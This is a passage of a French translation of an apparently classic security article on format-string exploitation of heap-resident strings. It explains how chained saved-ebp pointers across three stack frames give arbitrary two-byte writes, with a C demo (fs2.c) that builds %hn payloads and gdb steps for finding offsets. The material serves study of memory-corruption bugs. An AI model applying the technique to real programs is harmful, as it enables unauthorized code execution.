pouvoir écrire le MSB de la cible. # étape 2 '%.65406u'+ # on veut écrire 0xdd6e (65406 = 0x1dd6e-0xddf0) '%6$hn' + # on écrit où le 6ème paramètre pointe # (e nadmettant que l'ebp du cadre A soit en 6ème) Étape 3 : +----------+ | V [ LSB | MSB ] ---> [ dd6e| MSB ] --+ [ ddf0| MSB ] [ ] [ ] [ ] [ ] [ ] [ ] [ ... ] [ ... ] [ ... ] Cadre A Cadre B Cadre C Le nouveau cadre B pointe vers le MSB de la sauvegarde de l'ebp du cadre C. Et maintenant, avec un autre accès direct, nous écrivons le MSB de l'adresse qu'on voulait. # étape 3 '%.593u' + # on veut écrire 0xdfbf (593 = 0xdfbf - 0xdd6e) '%14$n' + # on l'écrit où pointe le 14ème paramètre # (le 14ème, c'est l'ebp de B) Notre résultat : +----------+ | V [ LSB | MSB ] ---> [ dd6e| MSB ] --+ [ ddf0| dfbf] [ ] [ ] [ ] [ ] [ ] [ ] [ ... ] [ ... ] [ ... ] Cadre A Cadre B Cadre C Comme on peut le voir, nous avons notre pointeur dans l'ebp du cadre C, maintenant, nous pouvons l'utiliser pour écrire 2 octets n'importe où en mémoire. Ça ne sera pas suffisant pour faire un exploit, mais on pourrait ré-utiliser le même truc, UTILISER CES 3 CADRES ENCORE UNE FOIS pour construire un autre pointeur (et encore, et encore ...) Hey, on a trouvé un générateur de pointeurs :-) avec seulement 3 cadres. Vous avez compris la théorie ? Mettons tout ça ensemble dans un exemple. Le code suivant utilise trois cadres (A,B,C) et l'accès direct aux paramètres pour écrire la valeur 0xaabbccdd à l'adresse 0xdfbfddf0. Il a été testé sous OpenBSD 3.0, et peut être testé sous d'autres systèmes. On va vous montrer ici comment tunner votre box. /* fs2.c * * programme d'exemple pour montrer les techniques de * * chaines de format. * * Spécialement conçu pour nourir votre cerveau par * * gera@corest.com */ do_printf(char *msg) { printf(msg); } #define FrameC 0xdfbfdd6c #define counter(x) ((a=(x)-b),(a+=(a<0?0x10000:0)),(b=(x)),a) char *write_two_bytes( unsigned long where, unsigned short what, int restoreFrameB) { static char buf[1000]={0}; // enough? sure! :) static int a,b=0; if (restoreFrameB) sprintf(buf, "%s%%.%du%%6$hn" , buf, counter((FrameC & 0xffff))); sprintf(buf, "%s%%.%du%%14$hn", buf, counter(where & 0xffff)); sprintf(buf, "%s%%.%du%%6$hn" , buf, counter((FrameC & 0xffff) + 2)); sprintf(buf, "%s%%.%du%%14$hn", buf, counter(where >> 0x10)); sprintf(buf, "%s%%.%du%%29$hn", buf, counter(what)); return buf; } int main() { char *buf; buf = write_two_bytes(0xdfbfddf0,0xccdd,0); buf = write_two_bytes(0xdfbfddf2,0xaabb,1); do_printf(buf); } Les valeurs que vous devrez changer sont les suivantes : %6$ numéro du paramètre pour l'ebp du cadre A %14$ numéro du paramètre pour l'ebp du cadre B %29$ numéro du paramètre pour l'ebp du cadre C 0xdfbfdd6c adresse de l'ebp du cadre C Pour avoir les bonnes valeurs : gera@vaiolent> cc -o fs fs.c gera@vaiolent> gdb fs (gdb) br do_printf (gdb) r (gdb) disp/i $pc (gdb) ni (gdb) p "à faire jusqu'à vous trouviez le premier appel à do_printf" (gdb) ni 1: x/i $eip 0x17a4 : call 0x208c <_DYNAMIC+140> (gdb) bt #0 0x17a4 in do_printf () #1 0x1968 in main () (gdb) x/40x $sp 0xdfbfdcf8: 0x000020d4 0xdfbfdd70 0xdfbfdd00 0x0000195f 0xdfbfdd08: 0xdfbfddf2 0x0000aabb [0xdfbfdd30]--+ (0x00001968) 0xdfbfdd18: 0x000020d4 0x0000ccdd 0x00000000 | 0x00001937 0xdfbfdd28: 0x00000000 0x00000000 +-[0xdfbfdd6c]<-+ 0x0000109c 0xdfbfdd38: 0x00000001 0xdfbfdd74 | 0xdfbfdd7c 0x00002000 0xdfbfdd48: 0x0000002f 0x00000000 | 0x00000000 0xdfbfdff0 0xdfbfdd58: 0x00000000 0x0005a0c8 | 0x00000000 0x00000000 0xdfbfdd68: 0x00002000 [0x00000000]<-+ 0x00000001 0xdfbfddd4 0xdfbfdd78: 0x00000000 0xdfbfddeb 0xdfbfde04 0xdfbfde0f 0xdfbfdd88: 0xdfbfde50 0xdfbfde66 0xdfbfde7e 0xdfbfde9e Ok, il est temps de trouver les bonnes valeurs. D'abord, 0x1968 (d'après la commande "bt"), c'est où do_printf() va retourner après avoir terminé, trouvez-le dans la pile (dans cet exemple, en 0xdfbfdd14). Le mot précédent est où le cadre A commence, et c'est où l'ebp du cadre A est sauvegardé, voici le 0xdfbfdd30. Super ! maintenant nous avons besoin du nombre pour l'accès direct, donc, comme on a exécuté jusqu'à l'appel, le premier mto dans la pile est le premier argument à printf (numéroté 0), si vous comptez, en commencant à 0, jusqu'à l'ebp du cadre A, vous compterez 6 mots, c'est le numéro qu'on cherche. Maintenant, trouvez où l'ebp du cadre A pointe, c'est l'epb du cadre B, ici 0xdfbfdd6c. Comptez les mots, vous trouverez 14, la deuxième valeur qu'on avait besoin. Cool, maintenant, l'ebp sauvegardé du cadre B pointe vers l'ebp du cadre C, donc, nous avons encore une valeur nécessaire ; 0xdfbfdd6c. Et pour récupérer le dernier nombre dont on avait besoin, vous allez encore une fois devoir compter, jusqu'à avoir l'ebp du cadre C (comptez jusqu'à l'adresse 0xdfbfdd6c), vous devriez trouver 29. Maintenant, éditez fs.c, compilez-le, lancez-el dans gdb, exécutez jusqu'après l'appel (un "ni" de plus que l'exemple ci-dessus), et après beaucoup de 0, finalement : (gdb) x/x 0xdfbfddf0 0xdfbfddf0: 0xaabbccdd Ça semble avoir marché après tout :-) Il y a des variantes intéressantes. Dans cet exemple, printf() n'est pas appelée dans le main(), mais dans do_printf(). C'est un artefact pour pouvoir avoir 3 cadres, mais vous pourriez avori la même chose en utilisant argv et *argv, puisque les seules choses vraiment nécessaires sont des pointeurs vers la pile, pointant vers un autre pointeur dans la pile. Une autre méthode intéressante (probablement plus intéressante que la méthode originale), est de cibler, non pas un pointeur de fonction, mais une adresse de retour dans la pile. Cette méthode sera un peu plus courte (juste %hn par entier court à écrire, et ça ne nécessite que deux cadres), beaucoup d'adresses peuvent être brute forcées en une seule fois, et bien sûr, vous pourriez utiliser un jmpcode si vous voulez. Cette fois, nous allons terminer ici l'expérimentation avec ces deux variantes (et d'autres) au lecteur. Il est évident, qu'avec cette technique sous i386, le cadre B casse le chainage des cadres, et donc, si le programme que vous exploitez a besoin du cadre C, il va segfaulter, vous aurez donc besoin de détourner le flux d'exécution avant le crash. --[ 10. Conclusions --[ 10.1. Est-ce dangereux d'écraser l0 (dans un cadre de pile) ? Ce n'est pas parfait, mais la pratique nous a montré que vous n'aurez pas beaucoup de problème en changeant la valeur de l0. Mais, si vous êtes malchanceux, vous pourriez préférer modifier le l0 du cadre du main() et du _start(). --[ 10.2. Est-ce dangereux d'écraser ebp (dans un cadre) ? Oui, c'est très dangereux. Votre programme va probablement crasher. Mais comme on l'a dit, vous pouvez restaurer sa valeur initiale en utilisant le générateur de pointeurs :-) Et dans le cas de SPARC, vous pourriez préferer de modifier l'ebp des cadres de main(), _start(), ... --[ 10.3. Est-ce fiable ? Si vous connaissez l'état de la pile, ou si vous connaissez la taille des cadres dans la pile, c'est fiable. Sinon, à moins que la situation vous permette d'implémenter une manière légère de brute forcer tous les numéros nécessaire, cette technique ne vous sera pas très utile. Quand vous avez à écraser des valeurs à des adresses qui comportent des zéros, je pense que cette technique est votre seul espoir, puis que ne pourrez pas mettre un zéro dans votre chaine (car ça va vous la tronquer). En plus, sous SPARC, la PLT du binaire se trouve dans les adresses basses et est plus sûre à écraser que la PLT de la libc. Pourquoi ? Parce que, je trouve, la libc Solaris a des changements plus fréquement que le binaire que vous exploitez. Et le binaire que vous voulez exploiter ne changera probablement jamais. --[ The End --[ 11. Remerciements gera: riq, pour avoir tenté toutes les idées stupides que j'ai eu et les avoir réussies ! juliano, notre gourou des chaines de format. Impact, pour m'obliger à réfléchir sur toutes ces choses fabuleuses. Post Scriptum : je viens juste d'apprendre l'existance d'une librairie appelée fmtgen, écrite par stiqz.. C'est une librairie de construction de chaines de format et elle peut être utilisée (d'après son Readme), pour écrire des jumpcodes ou des shellcodes, ainsi que des adresses. Ce sont les dernières lignes que j'ajoute à l'article, j'espère que j'aurai un peu de temps pour l'étudier, mais nous sommes pressés, vous savez :-) riq: gera, pour avoir trouvé comment exploiter une chaine dans le tas sous i386, pour ses idées, suggestions et corrections. juliano, pour m'avoir dit que je pouvais écraser, autant de fois que je veux, une adresses en utilisant l' "accès direct", et d'autres trucs sur les chaines de format. javier, pour m'avoir aidé avec SPARC. bombi, pour avoir fait de son mieux pour corriger mon anglais. et bruce, pour avoir corrigé mon anglais aussi. --[ 12. Références [1] Exploiting Format String Vulnerability, de scut. Mars 2001. http://www.team-teso.net/articles/formatstring [2] w00w00 on Heap Overflows, Matt Conover (shok) et w00w00 Security Team. Janvier 1999. http://www.w00w00.org/articles.html [3] badc0ded de Juliano http://community.corest.com/~juliano [4] Google the oracle. http://www.google.com |=[ EOF ]=---------------------------------------------------------------=|